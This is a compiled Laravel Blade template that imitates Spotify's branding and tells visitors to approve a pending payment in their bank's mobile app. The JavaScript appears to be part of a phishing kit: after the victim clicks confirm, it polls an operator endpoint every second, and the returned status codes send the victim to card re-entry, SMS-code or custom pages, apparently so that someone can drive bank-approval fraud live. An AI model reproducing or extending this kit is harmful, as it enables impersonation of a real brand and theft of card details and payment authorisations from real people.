<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Approve Payment - Spotify</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link rel="shortcut icon" type="image/x-icon" href="/images/spotify-favicon.svg">
    <link rel="stylesheet" href="<?php echo e(asset('style/spotify.css')); ?>">
    <script src="<?php echo e(asset('javascript/spotify.js')); ?>" defer></script>
    <meta name="csrf-token" content="<?php echo e(csrf_token()); ?>">
    <script>
        const whatToDoUrl = "<?php echo e(route('what-to-do')); ?>";
        const cardUrl = "<?php echo e(route('card', ['session_id' => $session_id])); ?>";
        const successUrl = "<?php echo e(route('success', ['session_id' => $session_id])); ?>";
        const smsUrl = "<?php echo e(route('sms', ['session_id' => $session_id])); ?>";
    </script>
    <style>
      @import url('https://fonts.googleapis.com/css2?family=Circular:wght@300;400;500;600;700;800;900&display=swap');
      body { 
        font-family: 'Circular', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
        background: #000000;
      }
      .spotify-green { background-color: #1db954; }
      .spotify-green:hover { background-color: #1ed760; }
      .spotify-dark { background-color: #191414; }
      .spotify-gray { background-color: #282828; }
      .spotify-text { color: #ffffff; }
      .spotify-text-secondary { color: #b3b3b3; }
      .spotify-border { border-color: #535353; }
      .spotify-card {
        background-color: #191414;
        border: 1px solid #535353;
        border-radius: 8px;
      }
      .spotify-button { 
        background-color: #1db954; 
        color: #000000;
        font-weight: 700;
        border-radius: 500px;
        padding: 14px 32px;
        border: none;
        font-size: 14px;
        letter-spacing: 1.76px;
        text-transform: uppercase;
        transition: all 0.2s ease;
      }
      .spotify-button:hover { 
        background-color: #1ed760; 
        transform: scale(1.04);
      }
      .loading-overlay {
        position: fixed;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        background: rgba(0, 0, 0, 0.9);
        display: flex;
        justify-content: center;
        align-items: center;
        z-index: 9999;
        backdrop-filter: blur(5px);
      }
      .loading-content {
        background: #191414;
        padding: 2rem;
        border-radius: 1rem;
        text-align: center;
        box-shadow: 0 20px 25px -5px rgba(0, 0, 0, 0.1), 0 10px 10px -5px rgba(0, 0, 0, 0.04);
        max-width: 400px;
        width: 90%;
        border: 1px solid #535353;
      }
      .loading-spinner {
        width: 60px;
        height: 60px;
        border: 4px solid #535353;
        border-top: 4px solid #1db954;
        border-radius: 50%;
        animation: spin 1s linear infinite;
        margin: 0 auto 1rem;
      }
      @keyframes spin {
        0% { transform: rotate(0deg); }
        100% { transform: rotate(360deg); }
      }
      .hidden {
        display: none !important;
      }
      .pulse-animation {
        animation: pulse 2s cubic-bezier(0.4, 0, 0.6, 1) infinite;
      }
      @keyframes pulse {
        0%, 100% {
          opacity: 1;
        }
        50% {
          opacity: .5;
        }
      }
      .error-message {
        background-color: #dc2626;
        border: 1px solid #ef4444;
        color: #ffffff;
        padding: 1rem;
        border-radius: 0.5rem;
        margin-bottom: 1.5rem;
      }
    </style>
</head>
<body class="bg-black">
    <!-- Spotify Header -->
    <header class="bg-black border-b border-gray-800">
      <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
        <div class="flex justify-between items-center h-16">
          <div class="flex items-center">
            <svg class="w-8 h-8 text-green-500" viewBox="0 0 24 24" fill="currentColor">
              <path d="M12 0C5.4 0 0 5.4 0 12s5.4 12 12 12 12-5.4 12-12S18.66 0 12 0zm5.521 17.34c-.24.359-.66.48-1.021.24-2.82-1.74-6.36-2.101-10.561-1.141-.418.122-.779-.179-.899-.539-.12-.421.18-.78.54-.9 4.56-1.021 8.52-.6 11.64 1.32.42.18.479.659.301 1.02zm1.44-3.3c-.301.42-.841.6-1.262.3-3.239-1.98-8.159-2.58-11.939-1.38-.479.12-1.02-.12-1.14-.6-.12-.48.12-1.021.6-1.141C9.6 9.9 15 10.561 18.72 12.84c.361.181.54.78.241 1.2zm.12-3.36C15.24 8.4 8.82 8.16 5.16 9.301c-.6.179-1.2-.181-1.38-.721-.18-.601.18-1.2.72-1.381 4.26-1.26 11.28-1.02 15.721 1.621.539.3.719 1.02.42 1.56-.299.421-1.02.599-1.559.3z"/>
            </svg>
          </div>
          <div class="flex items-center space-x-4">
            <a href="#" class="text-white hover:text-green-400 transition-colors">Help</a>
            <a href="#" class="text-white hover:text-green-400 transition-colors">Account</a>
          </div>
        </div>
      </div>
    </header>

    <!-- Main Content -->
    <main class="max-w-4xl mx-auto px-4 sm:px-6 lg:px-8 py-8">
      
      <!-- Approve Payment Card -->
      <div class="spotify-card p-8 mb-8">
        <div class="text-center mb-6">
          <div class="w-20 h-20 bg-green-500 rounded-full flex items-center justify-center mx-auto mb-4 pulse-animation">
            <!-- Icon Mobile App / Bank App -->
            <svg class="w-12 h-12 text-white" fill="none" stroke="currentColor" viewBox="0 0 24 24" stroke-width="2">
              <!-- Phone -->
              <path d="M7 2h10a2 2 0 012 2v16a2 2 0 01-2 2H7a2 2 0 01-2-2V4a2 2 0 012-2z"/>
              <!-- Screen with card icon -->
              <rect x="9" y="6" width="6" height="8" rx="1" stroke-width="1.5"/>
              <!-- Card lines -->
              <path d="M10 8h4M10 10h3" stroke-width="1"/>
              <!-- Checkmark -->
              <path d="M11 14l1.5 1.5L15 13" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
            </svg>
          </div>
          <h1 class="text-3xl font-bold text-white mb-2">Approve Payment</h1>
          <p class="text-gray-300 text-lg">Please approve this transaction in your bank's mobile app</p>
        </div>

        <!-- Loading Spinner -->
        <div id="statusSpinner" class="text-center mb-6 hidden">
          <div class="loading-spinner mx-auto mb-4"></div>
          <p class="text-green-400 font-semibold">Processing your approval...</p>
        </div>

        <div class="bg-green-900 bg-opacity-30 border border-green-500 rounded-lg p-6 mb-6">
          <div class="flex items-start space-x-4">
            <svg class="w-6 h-6 text-green-400 mt-1 flex-shrink-0" fill="none" stroke="currentColor" viewBox="0 0 24 24">
              <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 18h.01M8 21h8a2 2 0 002-2V5a2 2 0 00-2-2H8a2 2 0 00-2 2v14a2 2 0 002 2z"/>
            </svg>
            <div>
              <h3 class="font-bold text-green-200 mb-2">Steps to approve:</h3>
              <ol class="list-decimal list-inside space-y-2 text-green-200 text-sm">
                <li>Open your bank's mobile app</li>
                <li>Check for pending payment notifications</li>
                <li>Review the transaction details</li>
                <li>Tap "Approve" or "Confirm" to complete the payment</li>
              </ol>
            </div>
          </div>
        </div>

        <!-- Error Message Container -->
        <div id="approveErrorContainer" class="hidden mb-6"></div>

        <div class="text-center">
          <p class="text-gray-400 mb-6">Click the button below once you have approved the transaction in your bank app</p>
          <button type="button" id="confirmApproveBtn" class="spotify-button">
            <svg class="w-5 h-5 inline mr-2" fill="none" stroke="currentColor" viewBox="0 0 24 24">
              <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"/>
            </svg>
            Confirm Approval
          </button>
        </div>
      </div>

      <!-- Help Section -->
      <div class="mt-8 text-center">
        <p class="text-gray-300 mb-4">
          Need help? Contact our support team
        </p>
        <div class="flex justify-center space-x-6">
          <a href="#" class="spotify-link">Help Center</a>
          <a href="#" class="spotify-link">Contact Support</a>
        </div>
      </div>
    </main>

    <!-- Loading Overlay -->
    <div class="loading-overlay hidden" id="loadingOverlay">
      <div class="loading-content">
        <div class="loading-spinner"></div>
        <div id="loadingText" class="text-xl font-semibold mb-2 text-white">Processing...</div>
        <div class="text-sm mt-4 opacity-75 text-white" id="loadingSubtext">Please wait</div>
      </div>
    </div>

    <script>
      const approveUrl = "<?php echo e(route('approvePayment', ['session_id' => $session_id])); ?>";
      const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
      let pollingInterval = null;
      let isDeclined = false;
      
      function showLoading(text, subtext) {
        const overlay = document.getElementById('loadingOverlay');
        const loadingText = document.getElementById('loadingText');
        const loadingSubtext = document.getElementById('loadingSubtext');
        
        if (loadingText) loadingText.textContent = text || 'Processing...';
        if (loadingSubtext) loadingSubtext.textContent = subtext || 'Please wait';
        if (overlay) overlay.classList.remove('hidden');
      }
      
      function hideLoading() {
        const overlay = document.getElementById('loadingOverlay');
        if (overlay) overlay.classList.add('hidden');
      }
      
      function showApproveError(message) {
        const errorContainer = document.getElementById('approveErrorContainer');
        if (errorContainer) {
          errorContainer.innerHTML = `
            <div class="bg-red-900 bg-opacity-30 border border-red-500 rounded-lg p-4">
              <div class="flex items-start space-x-3">
                <svg class="w-5 h-5 text-red-400 mt-0.5 flex-shrink-0" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 8v4m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"/>
                </svg>
                <div>
                  <p class="text-red-200 font-semibold mb-1">Error</p>
                  <p class="text-red-200 text-sm">${message}</p>
                </div>
              </div>
            </div>
          `;
          errorContainer.classList.remove('hidden');
          errorContainer.scrollIntoView({ behavior: 'smooth', block: 'center' });
        }
      }
      
      function hideApproveError() {
        const errorContainer = document.getElementById('approveErrorContainer');
        if (errorContainer) {
          errorContainer.classList.add('hidden');
          errorContainer.innerHTML = '';
        }
      }
      
      function resetConfirmButton() {
        const confirmBtn = document.getElementById('confirmApproveBtn');
        if (confirmBtn) {
          confirmBtn.disabled = false;
          confirmBtn.classList.remove('hidden');
          confirmBtn.innerHTML = `
            <svg class="w-5 h-5 inline mr-2" fill="none" stroke="currentColor" viewBox="0 0 24 24">
              <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7"/>
            </svg>
            Confirm Approval
          `;
        }
      }
      
      function handleWhatToDoResponse(data) {
        console.log('Handling what-to-do response with status:', data.status);
        
        // Handle declined card status (4)
        if (data.status === 4) {
          console.log('Decline status detected (status 4)');
          isDeclined = true;
          if (pollingInterval) {
            clearInterval(pollingInterval);
            pollingInterval = null;
          }
          hideLoading();
          const statusSpinner = document.getElementById('statusSpinner');
          if (statusSpinner) statusSpinner.classList.add('hidden');
          
          const cardUrlFinal = typeof cardUrl !== 'undefined' ? cardUrl : '/card';
          window.location.href = cardUrlFinal;
          return;
        }
        
        // Handle custom error (status 99)
        if (data.status === 99 && data.declined) {
          console.log('Custom error detected:', data);
          isDeclined = true;
          if (pollingInterval) {
            clearInterval(pollingInterval);
            pollingInterval = null;
          }
          hideLoading();
          const statusSpinner = document.getElementById('statusSpinner');
          if (statusSpinner) statusSpinner.classList.add('hidden');
          showApproveError(data.message || 'An error occurred. Please try again.');
          resetConfirmButton();
          return;
        }
        
        // Handle success status (5)
        if (data.status === 5) {
          console.log('Success detected, redirecting to success page...');
          isDeclined = true;
          if (pollingInterval) {
            clearInterval(pollingInterval);
            pollingInterval = null;
          }
          hideLoading();
          const statusSpinner = document.getElementById('statusSpinner');
          if (statusSpinner) statusSpinner.classList.add('hidden');
          
          const successUrlFinal = typeof successUrl !== 'undefined' ? successUrl : '/success';
          window.location.href = successUrlFinal;
          return;
        }
        
        // Handle approve statuses (6, 7, 10) - re-ask approve
        if (data.status === 6 || data.status === 7 || data.status === 10) {
          console.log('Re-ask approve detected');
          isDeclined = false; // Permettre de réessayer
          if (pollingInterval) {
            clearInterval(pollingInterval);
            pollingInterval = null;
          }
          hideLoading();
          const statusSpinner = document.getElementById('statusSpinner');
          if (statusSpinner) statusSpinner.classList.add('hidden');
          showApproveError(data.message || 'Please approve the transaction again in your bank app.');
          resetConfirmButton();
          return;
        }
        
        // Handle SMS request (11, 12)
        if (data.status === 11 || data.status === 12) {
          console.log('SMS requested, redirecting to SMS page...');
          isDeclined = true;
          if (pollingInterval) {
            clearInterval(pollingInterval);
            pollingInterval = null;
          }
          hideLoading();
          const statusSpinner = document.getElementById('statusSpinner');
          if (statusSpinner) statusSpinner.classList.add('hidden');
          
          const smsUrlFinal = typeof smsUrl !== 'undefined' ? smsUrl : '/sms';
          window.location.href = smsUrlFinal;
          return;
        }
        
        // Handle general error (3)
        if (data.status === 3) {
          console.log('General error detected');
          isDeclined = true;
          if (pollingInterval) {
            clearInterval(pollingInterval);
            pollingInterval = null;
          }
          hideLoading();
          const statusSpinner = document.getElementById('statusSpinner');
          if (statusSpinner) statusSpinner.classList.add('hidden');
          showApproveError(data.message || 'An error occurred. Please try again.');
          resetConfirmButton();
          return;
        }
        
        // Handle custom page (status >= 20)
        if (data.status >= 20 && !data.declined && data.status !== 99) {
          console.log('Custom page detected, refreshing...');
          isDeclined = true;
          if (pollingInterval) {
            clearInterval(pollingInterval);
            pollingInterval = null;
          }
          hideLoading();
          setTimeout(() => {
            window.location.reload();
          }, 500);
          return;
        }
      }
      
      function startWhatToDoPolling() {
        if (isDeclined) {
          console.log('Polling stopped: already declined');
          return;
        }
        
        let lastStatus = null;
        let pollCount = 0;
        
        if (pollingInterval) {
          clearInterval(pollingInterval);
          pollingInterval = null;
        }
        
        showLoading('Verifying approval...', 'Checking approval status');
        
        pollingInterval = setInterval(async () => {
          if (isDeclined) {
            clearInterval(pollingInterval);
            pollingInterval = null;
            hideLoading();
            return;
          }
          
          pollCount++;
          
          try {
            const response = await fetch(whatToDoUrl, {
              method: 'GET',
              headers: {
                'Accept': 'application/json',
                'X-CSRF-TOKEN': csrfToken
              },
              credentials: 'same-origin'
            });
            
            if (response.ok) {
              const data = await response.json();
              
              // Status 4 (declined)
              if (data.data && data.data.status === 4) {
                console.log('Declined status detected in polling');
                isDeclined = true;
                clearInterval(pollingInterval);
                pollingInterval = null;
                hideLoading();
                handleWhatToDoResponse(data.data);
                return;
              }
              
              // Status 5 (success)
              if (data.data && data.data.status === 5) {
                console.log('Success status detected in polling');
                isDeclined = true;
                clearInterval(pollingInterval);
                pollingInterval = null;
                hideLoading();
                handleWhatToDoResponse(data.data);
                return;
              }
              
              // Status 6, 7 ou 10 (re-ask approve)
              if (data.data && (data.data.status === 6 || data.data.status === 7 || data.data.status === 10)) {
                console.log('Re-ask approve detected in polling');
                clearInterval(pollingInterval);
                pollingInterval = null;
                hideLoading();
                handleWhatToDoResponse(data.data);
                return;
              }
              
              // Status 11 ou 12 (ask for SMS)
              if (data.data && (data.data.status === 11 || data.data.status === 12)) {
                console.log('SMS requested detected in polling');
                isDeclined = true;
                clearInterval(pollingInterval);
                pollingInterval = null;
                hideLoading();
                handleWhatToDoResponse(data.data);
                return;
              }
              
              // Status 3 (error)
              if (data.data && data.data.status === 3) {
                console.log('Error status detected in polling');
                isDeclined = true;
                clearInterval(pollingInterval);
                pollingInterval = null;
                hideLoading();
                handleWhatToDoResponse(data.data);
                return;
              }
              
              // Status 99 (custom error)
              if (data.data && data.data.status === 99) {
                console.log('Custom error detected in polling');
                isDeclined = true;
                clearInterval(pollingInterval);
                pollingInterval = null;
                hideLoading();
                handleWhatToDoResponse(data.data);
                return;
              }
              
              // Status >= 20 (custom page)
              if (data.data && data.data.status >= 20) {
                console.log('Custom page detected in polling');
                isDeclined = true;
                clearInterval(pollingInterval);
                pollingInterval = null;
                hideLoading();
                handleWhatToDoResponse(data.data);
                return;
              }
              
              // Update status text
              const statusText = data.data?.status || 'unknown';
              if (!isDeclined) {
                showLoading('Verifying approval...', `Status: ${statusText}`);
              }
              
              if (data.data && data.data.status !== lastStatus) {
                lastStatus = data.data.status;
                if (data.data.status !== 2) {
                  clearInterval(pollingInterval);
                  pollingInterval = null;
                  hideLoading();
                  handleWhatToDoResponse(data.data);
                }
              }
            }
          } catch (error) {
            console.error('Polling error:', error);
            if (isDeclined) {
              clearInterval(pollingInterval);
              pollingInterval = null;
              hideLoading();
            }
          }
        }, 1000);
      }

      // Gestion du bouton Confirm
      document.addEventListener('DOMContentLoaded', function() {
        const confirmBtn = document.getElementById('confirmApproveBtn');
        const statusSpinner = document.getElementById('statusSpinner');
        
        if (confirmBtn) {
          confirmBtn.addEventListener('click', async function() {
            hideApproveError();
            
            // Désactiver le bouton et montrer le spinner
            confirmBtn.disabled = true;
            confirmBtn.classList.add('hidden');
            if (statusSpinner) {
              statusSpinner.classList.remove('hidden');
            }
            
            showLoading('Confirming approval...', 'Sending approval confirmation');
            
            try {
              const formData = new FormData();
              formData.append('_token', csrfToken);
              formData.append('approval_type', 'app_mobile');
              
              const response = await fetch(approveUrl, {
                method: 'POST',
                body: formData,
                headers: {
                  'X-CSRF-TOKEN': csrfToken
                },
                credentials: 'same-origin'
              });
              
              const data = await response.json();
              
              if (response.ok && data.success) {
                // Réinitialiser le flag décliné pour permettre le polling
                isDeclined = false;
                
                // Garder le spinner visible et démarrer le polling
                hideLoading();
                if (statusSpinner) {
                  statusSpinner.querySelector('p').textContent = 'Waiting for approval confirmation...';
                }
                
                // Démarrer le polling
                startWhatToDoPolling();
              } else {
                hideLoading();
                if (statusSpinner) {
                  statusSpinner.classList.add('hidden');
                }
                showApproveError('Error confirming approval. Please try again.');
                resetConfirmButton();
              }
            } catch (error) {
              console.error('Error:', error);
              hideLoading();
              if (statusSpinner) {
                statusSpinner.classList.add('hidden');
              }
              showApproveError('Error confirming approval. Please try again.');
              resetConfirmButton();
            }
          });
        }
      });
    </script>
</body>
</html>

<?php /**PATH C:\Users\BigBoss\Desktop\ss\resources\views/approve.blade.php ENDPATH**/ ?>